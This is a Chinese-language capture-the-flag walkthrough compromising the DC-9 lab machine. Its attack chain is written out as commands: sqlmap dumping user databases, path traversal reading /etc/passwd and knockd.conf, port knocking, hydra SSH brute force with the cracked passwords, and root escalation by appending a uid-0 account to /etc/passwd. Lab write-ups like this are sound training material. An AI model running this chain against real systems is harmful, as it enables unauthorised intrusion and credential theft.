DC-9靶机渗透测试
1. 信息收集
1.1 主机扫描
arp-scan -l
1.2 端口扫描
nmap -A -p- 192.168.188.179
扫描到了22端口和80端口,但是22端口处于filtered状态。
访问Web页面
使用Wappalyzer浏览器插件扫描,没有发现什么有用的信息。
1.3 目录扫描
dirsearch -u 192.168.188.179 -e * -i 200
发现目录中没有扫描出有用的信息。
2. 漏洞发现
浏览页面的时候发现一个搜索框以及登录框
先在搜索框输入数值后使用bp抓包查看
修改参数,发现存在SQL注入漏洞。
3. 漏洞利用
因为当前的请求是POST请求,所以将Request
请求参数全部导出文件里,然后再通过sqlmap工具来破解数据库。
这里文件名字随意即可。
列出当前所有的数据库
sqlmap -r wuhu.txt --dbs --batch
命令解析:
-r wuhu.txt
:使用-r
参数指定请求文件,其中wuhu.txt
是包含 HTTP 请求的文本文件。sqlmap
将分析该文件并检测是否存在 SQL 注入漏洞。--dbs
:使用--dbs
参数表示进行数据库信息的获取。一旦发现 SQL 注入漏洞,sqlmap
将尝试列出目标服务器上的所有数据库。--batch
:使用--batch
参数表示以批处理模式运行,即在不人工干预的情况下自动化执行漏洞利用过程(也就是不需要输入Y来确定)。
查询Staff库中所有的表
sqlmap -r wuhu.txt -D Staff --tables --batch
查询Users表下的字段信息
sqlmap -r wuhu.txt -D Staff -T Users --columns --batch
获取用户名和密码信息
sqlmap -r wuhu.txt -D Staff -T Users -C Username,Password --dump --batch
这里不用去解密,sqlmap爆破的时候明文已经爆破出来了。
账号密码:admin
,transorbital1
然后进行登入
登录成功。
然后去爆破另一个库users
查询users库中所有的表
sqlmap -r wuhu.txt -D users --tables --batch
查询表下的字段信息
sqlmap -r wuhu.txt -D users -T UserDetails --columns --batch
获取用户名和密码信息
sqlmap -r wuhu.txt -D users -T UserDetails -C username,password --dump --batch
得到了普通用户的账户和密码。
返回登录后的页面查看是否有可以利用的信息
这里提示页面不存在。
3.1 文件包含
查看是否是文件包含漏洞,页面的URL路径中输入:
http://192.168.188.179/welcome.php?file=../../../../etc/passwd
这里发现用户名和之前爆破数据库的用户名一致
使用远程连接,发现22端口是处于filtered状态。有可能是防火墙进行了过滤。
3.2 端口敲门
靶机使用了knockd
进行防护,用来隐藏ssh
登陆端口。
knockd 服务的默认配置路径:/etc/knockd.conf
。
**Knockd(也称为敲门守护进程)**是一个基于网络的安全工具,用于实现一种简单而有效的端口伪装和访问控制机制。它允许用户通过在特定的顺序按“敲门”(发送特定的网络请求)来触发服务器上的特定行为。当正确的敲门序列完成后,服务器将解锁指定的端口或服务,从而允许客户端进行连接。通过Knockd隐藏SSH。
下面是 Knockd 的工作原理:
- 配置敲门序列:在服务器上设置 Knockd,定义一个敲门序列,包括一系列的网络请求(可以是 TCP、UDP 或其他协议)。这些请求可以是特定的端口扫描、发出特定数据包或发送特定的登录请求等。
- 监听网络流量:Knockd 在服务器上运行并监听网络接口,等待来自客户端的敲门请求。它可以通过监听特定端口或网络接口来捕获请求。
- 检查敲门序列:一旦 Knockd 捕获到请求,它将按照预先配置的敲门序列进行验证。它会检查请求是否按照正确的顺序、以正确的方式和正确的参数进行发送。
- 触发操作:如果接收到的请求与预先定义的敲门序列完全匹配,Knockd 将触发事先配置的操作,比如打开指定的端口、启动服务或执行其他预定义的脚本。这样,客户端就可以通过合法地完成敲门序列来访问服务器上的特定资源。
Knockd 的主要优点是隐藏了实际要提供的服务,只有在正确的敲门序列完成后才会将服务暴露给外部客户端。这种伪装和访问控制机制可以增加网络安全性,并减少未经授权的访问或攻击。它常用于构建针对恶意扫描和暴力破解的防御措施。
使用文件包含漏洞遍历一下,获取到了敲门的密码sequence = 7469,8475,9842
。
http://192.168.188.179/welcome.php?file=../../../../etc/knockd.conf
进入本机的knockd配置文件中进行编辑
vim /etc/knockd.conf
配置解释:
[options]
UseSyslog //用来定义日志输出位置以及文件名
[openSSH]
sequence = 7000,8000,9000 //设置(开门)敲门顺序,可以自定义
seq_timeout = 5 //设置超时时间
command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT //开门成功后添加防火墙规则命令(打开SSH端口)
tcpflags = syn
[closeSSH]
sequence = 9000,8000,7000 //设置(关门)敲门顺序,与开门顺序相反
seq_timeout = 5 //设置超时时间
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT //关门成功后删除之前添加的防火墙规则(关闭SSH端口)
tcpflags = syn
使用命令:
knock 192.168.188.179 7469 8475 9842
发现22端口变成了open状态了。
3.3 爆破SSH账户
将之前爆破出来的用户名和密码分别存放到两个字典中,使用hydra进行爆破。
用户名字典user.txt:
密码字典pass.txt:
输入命令
hydra -L user.txt -P pass.txt ssh://192.168.188.179
这里爆破出来了三个用户
chandlerb UrAG0D!
joeyt Passw0rd
janitor Ilovepeepee
然后就可以ssh远程连接,查看三个用户中有用的信息。
当切换到janitor
用户时,家目录有个隐藏目录。
查看该目录
发现很多密码信息,将密码复制到前面过滤出来的密码文件里,再次使用九头蛇爆破ssh。
输入命令:
hydra -L user.txt -P pass.txt ssh://192.168.188.179
发现又多了一个用户。使用新爆破出来的用户名和密码进行ssh登录。
fredf
B4-Tru3-001
登录成功,但是权限较低,进行提权。
4. 提权
查看当前用户可以使用哪些命令提权
sudo -l
进入该路径查看
cd /opt/devstuff/dist/test
发现test是一个python文件。
使用find命令查找python文件进行查看:
find / -name test.py 2>/dev/null
cat /opt/devstuff/dist/test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") # 将下标为1的读出的值赋值给变量output
output = (f.read())
f = open(sys.argv[2], "a") # 将下标为2的追加到变量output
f.write(output)
f.close()
该脚本的意思是打开用户输入的第二个文件,将第二个文件的内容追加保存到第三个文件里面,也就是说如果有命令是test.py a.txt b.txt,就会将a.txt的文件内容保存到b.txt里面。
使用命令创建一个admin的账户并生成一个密码的哈希值。
openssl passwd -1 -salt admin 123456
该命令是使用 OpenSSL 工具生成一个密码的哈希值。
openssl
:是一个开源的加密工具集,提供了多种密码学功能。passwd
:是 OpenSSL 工具集中的一个子命令,用于生成密码的哈希值。-1
:这是一个选项,表示使用的是 MD5 哈希算法。MD5 为过时的哈希算法,不推荐在生产环境中使用。-salt admin
:这也是一个选项,指定了加盐的字符串。盐(salt)是为了增加密码哈希的复杂度和安全性而添加的随机字符串。这里的盐是"admin"。123456
:这是要进行哈希的原始密码。
$1$admin$LClYcRe.ee8dQwgrFc5nz.
把/etc/passwd的格式修改一下然后追加写入/tmp/passwd中
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
然后运行test使用命令:
sudo ./test /tmp/passwd /etc/passwd
test.py将/tmp/passwd写入到/etc/passwd中。
再查看一下/etc/passwd文件中是否写入
然后切换admin用户查找flag
su adimn